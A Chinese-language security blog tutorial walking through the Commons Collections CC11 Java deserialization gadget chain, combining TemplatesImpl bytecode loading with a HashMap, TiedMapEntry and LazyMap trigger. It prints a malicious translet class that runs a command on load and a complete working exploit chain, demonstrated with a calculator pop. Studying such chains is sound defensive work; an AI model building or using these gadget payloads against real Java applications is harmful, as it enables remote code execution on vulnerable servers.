背景
该链是CC2和CC6的结合体,CC11使用了CC2动态加载字节码执行命令的方法,使用了CC6的前半部分,把它们不使用数组与字节码执行命令的优点给结合起来了。
CC11链分析
该链受影响的版本为CommonsCollections 3.1-3.2.1,关于环境的搭建,可以看我之前CC1中的教程。
分析该链之前,再重新介绍一下TelplatesIpl加载字节码执行命令。
链尾TelplatesIpl加载字节码
详情可以到CC3那篇看,这里只做简要介绍。
构造字节码的代码如下,把它编译为.Class后用后面提到到TemplatesImpl加载这个恶意的字节码就可以了。
1 2 3 4 5 6 7 8
| public class TemplatesImplTest extends AbstractTranslet { public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{} public TemplatesImplTest() throws IOException { super(); Runtime.getRuntime().exec("calc"); } }
|
再回顾一下loadClass()
、findClass()
、defineClass()
三个方法
ClassLoader#loadClass->ClassLoader#findClass->ClassLoader#defineClass
- loadClass:类加载的入口点,遵循双亲委派模型,先尝试让父类加载器加载类,如果失败则调用 findClass。
- findClass:负责定位并读取类的字节码,然后调用 defineClass
- defineClass:它负责将原始的字节码(通常是来自 .class文件的字节数组)转换成 JVM 能够识别和使用的 Class 对象。
defineClass()
可以用来加载我们构造好的恶意字节码,Classloader#defineClass()
方法在类中作用域是protected,而TemplatesIpl类中它的作用域是default,更容易利用。

然后往前找找一个完整能够加载字节码的利用链,CC3已经分析过了,这里我重新介绍一下。
分析如下:
右键defineClass查找用法,找到defineTransletClasses()

跳转到defineTransletClasses()
,继续查找用法,找到了getTransletInstance()

同时发现defineTransletClasses()
方法中_bytecodes
和_tfactory
不能为空,需要设置值。

跟进_tfactory
看到,为了不让它为空后续给它new一个TransformerFactoryImpl
1
| private transient TransformerFactoryImpl _tfactory = null;
|
跳转到getTransletInstance()
,查找用法,找到 newTransformer()

name不能为空否则返回null

跳转到newTransformer()
,发现作用域为public,可以直接调用。

这样就找到了完整加载字节码的利用链
加载字节码的POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class RunTemplatesImplTest { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates,"_name","jjxxx"); Setvalue(templates,"_bytecodes",new byte[][]{bytes}); Setvalue(templates,"_tfactory",new TransformerFactoryImpl()); templates.newTransformer(); } public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } }
|
成功弹出计算器说明能够成功执行命令

上方把加载字节码执行命令的尾部已经写完了。
可以注意到前面的POC是我们主动调用的newTransformer()
,我们需要找到一个能够调用newTransformer()
的类
1 2
| templates.newTransformer();
|
而InvokerTransformer#transform()
正合适,直接使用该类调用它。
1
| InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
|
接着就需要找谁可以调用到transform()
方法,上半部分就和CC6相同了,直接使用LazyMap()#get()
调用它的transform()
LazyMap
跟进看一下

可以看到这里调用了factory.transform()
,符合我们的要求。
此时,LazyMap作用域是protected,不能直接实例化,但是可以看到上方的一个静态方法可以返回一个LazyMap,因此用它来调用LazMap

代码如下
1 2
| HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap,invokerTransformer);
|
但是前几篇已经说过了,为了防止序列化时弹出计算器导致无法构造完整利用链,应该先把它改为其他的。
改完如下:
1 2
| HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
|
接下来就继续需要找能够调用get()方法的类
TiedMapEntry
其中TiedMapEntry#getValue()
能够调用get()
方法

继续往前找谁可以调用getValue()
还是该类,它的hashCode()
方法可以调用getValue()
方法

能够调用hashCode()
方法的,在CC6已经介绍过,HashMap类可以调用该方法
HashMap
看一下CC6的流程图,在跟进看一眼

这个类我们直接正着分析
在readObject()方法中调用了putVal(hash(key))

在跟进一下里面的hash()
,看到它又调用了hashCode()方法,此时这条链完美串联了。

最终POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| package classloader; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC11Test { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, TransformerConfigurationException, ClassNotFoundException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates,"_name","jjxxx"); Setvalue(templates,"_bytecodes",new byte[][]{bytes}); Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); HashMap hashmap = new HashMap(); Map lazyMap = LazyMap.decorate(hashmap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); HashMap<Object, Object> hashmap1 = new HashMap<>(); hashmap1.put(tiedMapEntry,null); lazyMap.remove(templates); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,invokerTransformer);
unserialize("2.bin"); } public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
成功执行命令

问题解决
至于为什么代码中会多了一行
1
| lazyMap.remove(templates);
|
我理解的原因是当反序列化时,templates被TiedMapEntry
当个key传入,调用到LazyMap时,如果不删除它,就无法过这个if条件,从而反序列化失败。

流程图
总流程图就不画了,用的类都是相同的

总结
CC11链还是很简单的,它只是CC6和CC2的结合,很好理解。